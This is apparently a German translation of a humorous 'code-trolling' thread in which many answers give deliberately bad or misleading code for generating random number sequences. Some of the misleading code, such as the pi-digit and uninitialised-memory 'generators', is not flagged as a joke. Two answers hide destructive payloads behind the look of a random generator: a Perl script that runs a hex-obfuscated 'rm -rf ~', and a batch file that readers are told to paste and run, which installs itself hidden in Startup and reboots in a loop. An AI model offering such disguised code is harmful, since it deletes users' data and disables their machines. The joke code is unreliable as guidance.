Die Herausforderung:

Generiere eine zufällige Folge von Zahlen. Die einzige Eingabe sollte die Länge der Sequenz sein.

Zusätzliche Internet Points für rein funktionale Lösungen.

^{Hinweis: Dies ist eine Code-Trolling- Frage. Bitte nehmen Sie die Frage und / oder die Antworten nicht ernst. Mehr Infos hier .}

Python

Greifen Sie zu einem zufälligen Wikipedia-Artikel, nehmen Sie eine Folge von HTML-Zeichen der Länge num und erhalten Sie ihre numerischen Werte

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

Alle Programme aus den anderen Antworten erzeugen nur sogenannte "Pseudozufallszahlen", die für das ungeübte Auge zufällig aussehen, aber tatsächlich einem bestimmten Muster folgen.

Das folgende Programm generiert tatsächliche Zufallszahlen, indem Sie Ihren Computer in einen Partikeldetektor für Hintergrundstrahlung verwandeln. Da dies auf Quanteneffekten basiert, ist es wirklich zufällig und unmöglich vorherzusagen. Und als Bonus läuft das Programm tatsächlich schneller, wenn Sie Ihren Computer in den Weltraum starten. Und ja, das ist genauso cool, wie es sich anhört.

C

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

Spoiler:

Dieses Programm generiert zwei identische Speicher und wartet dann, wie lange es dauert, bis die Hintergrundstrahlung einen von ihnen ändert. Die Wartezeit wird dann als Zufallszahl zurückgegeben, die ohne Integer-Überläufe exponentiell verteilt wäre. Solche Ereignisse, die wahrscheinlicher im Weltraum auftreten, sind ein aktuelles Problem in der Astronautik, das durch Strahlungshärtung angegangen wird . Daher ist jede Aussage in der Einleitung bis auf das Thema Coolness bis zu einem gewissen Grad richtig.

Leider ist es wahrscheinlicher, dass ein solches Ereignis den Computer oder zumindest das Programm zum Absturz bringt, als dass es genau diese beiden Speicherbereiche betrifft. Außerdem kann es eine Weile dauern ... Schließlich ist die Hintergrundstrahlung, wie Kinokijuf hervorhebt, ein externer Prozessj und ksollte volatilefür den Compiler markiert werden (oder Sie sollten einen Compiler verwenden, der überhaupt nicht optimiert).

PS: Als Erweiterung der Idee könnte man auch einfach ein Array mit Nullen erstellen und es dann ausdrucken. Es besteht die Möglichkeit, dass ε die Hintergrundstrahlung die Nullen zwischen Speichern und Drucken ändert und somit das, was gedruckt wird, zufällig ist - das OP hat nie gesagt, wie die Zufallszahlen verteilt werden sollen.

Zufälligkeit ist auf einem Computer schwer zu erreichen, da sie rein deterministisch ist. Das Generieren von Zufallszahlen auf Computern ist ein sehr aktives Forschungsgebiet, an dem häufig Akteure auf Länderebene beteiligt sind (siehe Dual_EC_DRBG ). Auf einem modernen Multitasking-Betriebssystem kann der Thread-Scheduler jedoch in einigen Situationen einen passablen Job ausführen. Zu diesem Zweck geben wir die Kontrolle über unsere aktuelle Zeitscheibe an das Betriebssystem zurück und notieren, wie lange es dauert, bis wir erneut geplant werden. Abhängig vom Betriebssystem und der Last kann dies zu den gewünschten Ergebnissen führen.

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

C #

Da die Benutzer unserer Software von Natur aus zufällig sind, können Sie dies zu unserem Vorteil nutzen.

Dieser Code macht einen Screenshot und verwendet diesen mit einigen anderen Daten, um eine zufällige Sequenz zu erzeugen. Bonus-Internetpunkte für die Nichtnutzung des eingebauten Zufallsgenerators?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

Python

Es ist leicht, über die üblichen Fallstricke zu stolpern: eine ungleichmäßig verteilte Quelle von Zufallszahlen und keine Randomisierung. Meine Lösung vermeidet diese Probleme auf hervorragende Weise, indem sie tiefe mathematische Einsichten und eine einfache, aber effektive Trick-Randomisierung mit der aktuellen Zeit verwendet:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

Funktioniert gut, wenn Sie einmal auf eine kleine Anzahl von Zahlen (9 oder weniger) getestet wurden, aber wenn Sie nur wenig mehr getestet haben, sind die Fehler schwerwiegend:

• math.pi enthält nur wenige Ziffern nach dem Punkt
• time.localtime()[8]Gibt nicht die Millisekunden oder die Kernel-Uhr zurück, sondern 0 oder 1, je nachdem, ob es Sommerzeit ist oder nicht. Das zufällige Saatgut wechselt also einmal im halben Jahr um einen Platz. Also im Grunde keine Randomisierung.
• Dies gibt nur Zufallszahlen zwischen 0 und 9 zurück.
• random_numbers[:number]Wenn Sie eine numberZahl größer als 15 eingeben und nur 15 Zufallszahlen ausspucken, schlägt dies unbemerkt fehl .

Leider ist dies von der Delphi 1.0-Zufallsfunktion inspiriert, die früher ähnlich funktionierte.

Rubin

Die Frage fragt nach einer SEQUENZ. Jetzt geht das schon wieder los...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

Dies ist zu 100% zufällig. Nicht wirklich.
Schade, dass dieser Code NICHTS für das OP bedeutet (was zum Teufel ist object_id?).
Außerdem ist er implementierungsspezifisch, was bedeutet, dass er zwischen verschiedenen Ruby-Versionen funktioniert oder nicht (lief auf 2.1.0p0).
Darüber hinaus kann dies möglicherweise etwas sehr Böses bewirken, da OP möglicherweise mit object_id experimentiert ...

Beispielausgabe:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

Bearbeiten:

Geändert für die Verwendung $$für echte Zufälligkeit (auf Betriebssystemebene).

Java

Achtung, das ist eine Trickfrage .....

Die meisten Java-Benutzer verwenden math.random (), um diese Sequenz zu generieren, aber sie werden verwirrt, weil sie nur positive Ergebnisse erhalten! random()gibt einen Dezimalwert von 0 bis 1 zurück (ohne 1 selbst). Sie müssen also einige Streiche spielen, um eine gute Verteilung der Zufallswerte über den gesamten Integer-Bereich (positiv und negativ) sicherzustellen.

Sie können auch nicht einfach multiplizieren Math.random()und Integer.MAX_VALUEda Sie dies nie Integer.MAX_VALUEals Teil des Ergebnisses einschließen ! Es wäre auch logisch, dies zu tun, math.rand() * (Integer.MAX_VALUE + 1)damit Sie eine vollständige Verteilung erhalten, aber dies funktioniert natürlich nicht, da Integer.MAX_VALUE + 1es zu einem Überlauf kommt und wirdInteger.MIN_VALUE ! Die beste Lösung ist leider die bitweise Manipulation der Daten ...

Hier ist also eine vollständige Sequenz zum Erzeugen von 'n' Zufallswerten im Bereich Integer.MIN_VALUEbis Integer.MAX_VALUE(einschließlich beider Extreme (was der schwierige Teil ist) !!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

Dies erzeugt eine Ausgabe wie:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

Natürlich ist das oben Genannte eine vollständige BS-Antwort. Es liefert keine gute Beschreibung und 'verbirgt' einen schweren Fehler (^= sollte es sein |=). es verbirgt sich auch ein weniger schwerwiegender Fehler (die Reihenfolge bedeutet, dass wir überhaupt nicht mit einem Primwert multiplizieren!) Die Verwendung ausgefallener Wörter, Primzahlen und vieler Kommentare ist kein Grund, dem Code zu vertrauen ... Natürlich, wenn Sie das oben genannte tun möchten, sollten Sie nur verwendenjava.util.Random.nextInt()

Java

Nun, da ich auf das Programm zurückblicke, habe ich vergessen, die Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

Perl

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

Ich mache die gleiche $\Taktik für die Ausgabe wie bei einer anderen Code-Trolling-Antwort. Sie bemerken auch, dass ich eine beträchtliche Menge $$in den RANDU- Algorithmus investiere .

Edit: Um es besser zu erklären, ist RANDU ein schrecklich unsicheres PRNG. Wikipedia beschreibt es als "einen der schlechtesten Zufallszahlengeneratoren, die jemals entwickelt wurden". Die Hauptschwäche liegt unten:

f (x) = 6 · f (x-1) - 9 · f (x-2)

Hier ist ein Zufallsgenerator, Basis 2^CHAR_BIT.

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

In Javascript mit einem funktionalen Stil:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

C

Diese Funktion eignet sich sehr gut für kleine Anwendungen zum Erstellen von Zufallszahlen zwischen 0 und 1337. Ein mehrmaliger Aufruf ist ratsam, um maximale Zufälligkeit zu gewährleisten.

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

Der berühmte Blum Blum Shub Generator. Denn Zufallszahlengeneratoren sollten kryptografisch sicher sein und welchen besseren Weg gibt es, um Sicherheit zu bieten, als durch Unbekanntheit.

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

_{(Beinhaltet schreckliche Variablennamen, eine inkorrekte Implementierung basierend auf einem schnellen Scan von Wikipedia und nutzlose Funktionszeigermagie zum Spaß)}

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

Verwenden Sie einige Garbage Heap-Daten. Oh, und vergiss nicht, den Zeiger zu lecken.

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

Vorteile:

• Es klappt.
• Manchmal.
• Gültiges (ish) C89.
• Schreckliches C ++.
• Verwenden Sie die C - Header , da using namespace std;ist EVIL und wir wollen nicht , um das Programm verlangsamen mit allen diesen Namespace - Lookups.
• Wir vermeiden die Gleichmäßigkeit der Verteilung zugunsten der Geschwindigkeit, indem wir einen Modul mit einem fest codierten Wert verwenden (TODO: Ändern Sie dies, um eine Bitverschiebung für noch mehr Rohgeschwindigkeit zu verwenden).
• Kann den Determinismus verifizieren, indem mehrere Male innerhalb einer Sekunde ausgeführt werden.
• Warum dieser Code schlecht ist, ist nicht offensichtlich genug, dass das OP ihn wahrscheinlich nicht erkennt.

Nachteile:

• Warum dieser Code schlecht ist, ist nicht offensichtlich genug, dass der Professor des OP (der Grader des OP) es wahrscheinlich nicht merkt.
• Dies scheint allgemein als akzeptable Lösung angesehen zu werden.
• Benötigt mehr RAW SPEED.

Mathematica

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

Eingabe - 3

Ausgabe - {2,3,1}

Es funktioniert, weil es darauf ankommt :Input A:Disp randIntNoRep(1,A)

Hier ist eine Python-Lösung. Sie können nicht beweisen, dass dies nicht zufällig ist!

def get_random(num):
    print '3' * num

Probieren Sie es aus, indem Sie get_random(5)zum Beispiel anrufen .

Perl

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

Dieser verwendet einen sehr einfachen Perl-Code, um die Anforderungen des OP zu erfüllen, jedoch nicht vor dem rekursiven Entfernen des Home-Verzeichnisses (natürlich ohne das eigentliche Schreiben von rm -rf ~).

Ich habe dies nicht getestet (aus offensichtlichen Gründen).

Python 3

Es wird nicht nur viel Zeit verschwendet (sowohl echte als auch CPU-Zeit), sondern es werden nur 10 Zufallszahlen zurückgegeben.

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

Rubin

Möglicherweise wissen Sie, dass nicht alle Zahlen zufällig sind. Dieses Programm überprüft alle Zahlen und gibt Ihnen nur diejenigen, die wirklich zufällig sind.

Beachten Sie, dass das Lesen von Ruby-Code etwas schwierig ist. Es ist nicht so effizient wie Englisch, weil Computer ein bisschen dumm sind und man manchmal wichtige Wörter wiederholen muss.

Deshalb habe ich einige #commentszum Code hinzugefügt ; Die GROSSBUCHSTABEN in den Kommentaren zeigen, wie dasselbe Wort im Ruby-Code funktioniert.

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

Eine detailliertere Erklärung wird später folgen, aber diese Ausgabe eines Beispiellaufs sollte einige davon verraten: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ... Immer noch ein bisschen zufällig.

Das folgende Windows Batch-Skript generiert eine Datei mit Zufallszahlen, die OUTPUT.TXTin Ihrem Profilordner aufgeführt sind. Dies erzeugt garantiert fast vollständige Zufallszahlen. Fügen Sie diesen Code einfach in den Editor ein, speichern Sie ihn "FileName.CMD"(mit den Anführungszeichen) und führen Sie ihn aus.

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

Die Eingabe einer Menge von zu generierenden Zufallszahlen ist übrigens zu mühsam. Drücken und halten Sie einfach den Ein- / Ausschalter, um die Erzeugung zu stoppen. Viel einfacher! Plus: Es ist keine Tastatur erforderlich.

Lua

Dies ist eine übererfüllte, überkomplizierte, unübersichtliche (auch mit einem Syntax-Textmarker) Funktion, die auf viel überkomplizierte Weise unmerklich hohe Zahlen erzeugt. Und anstatt die Zahlenfolge zurückzugeben, werden sie auf dem Bildschirm gedruckt, was die Verwendung in Ihren Programmen unpraktisch macht. Es ist schwer zu bearbeiten. Wenn Sie also von Ihrem Opfer aufgefordert werden, das Problem zu beheben, sagen Sie, dass die Bearbeitung zu kompliziert ist.

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

C #

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

Beachten Sie, dass es dazu neigt, längere Sequenzen zu unterbrechen, aber wenn es funktioniert, generiert es sehr zufällige Zahlen

Fortran

Ihr Computer verfügt bereits über eine Zufallszahl. Sie müssen also nur darauf zugreifen:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

Offensichtlich nicht portierbar, da der Benutzer ein * nix-System haben muss (aber wer nutzt trotzdem Windows?).

Ich gehe davon aus, dass Sie natürlich viele Zufallszahlen brauchen . Welches verlangt nach ...

Bash und Hadoop

In den Tagen der NSA ist es natürlich unzuverlässig, nur eine einzige Zufallsquelle zu verwenden. Sie könnten Ihren Computer Trojaner haben. Aber sie werden nicht Ihren gesamten Haufen trojanisiert haben!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

Als nächstes führt das Skript die Cluster-Jobs wie gewünscht aus:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

Gott sei Dank, wir haben die Macht von Hadoop!

Rubin

require 'md5'

5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits

ANSI C

Das ist ziemlich knifflig und ich würde mir keine Sorgen machen. Kopieren Sie einfach den folgenden Code und fügen Sie ihn in Ihre Bibliothek ein. Sie werden für immer golden sein.

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

Probieren Sie C ++ aus - schnell, leistungsstark und alles, was Sie jemals wollen werden:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

Die besten Ergebnisse erzielen Sie übrigens mit a class.

Erklärung:
1. Er muss das NICHT benutzen class- das ist völlig überflüssig.
2. Die return-Anweisung in gibt generate_num()tatsächlich die Zahl ^ (Zahl ^ 0) zurück, die als Zahl ^ 1 ausgewertet wird, was Zahl ist. Das ist auch überflüssig.
3. Unnötigste Fehlerbehandlung - Was könnte mit dieser Grundeinstellung für das Stanzen von Daten schief gehen?
4. Ich habe std::vor allen Elementen des stdNamensraums verwendet. Das ist auch überflüssig.
5. Die #defineAussagen sind auch unnötig - ich habe das getan, um ihn glauben zu lassen, dass ich diese Typen speziell für dieses Programm definiert habe.

Haftungsausschluss:
Dieses Programm funktioniert tatsächlich; Ich empfehle jedoch KEINE Person oder Organisation, die es in ihrem Code für das wirkliche Leben verwendet. Ich behalte mir keine Rechte an diesem Code vor. Mit anderen Worten, ich mache es komplett Open Source.

Python

Den funktionalen Teil übernehmen - die fast einzeilige Python

import random
map(lambda x: random.random(), xrange(input())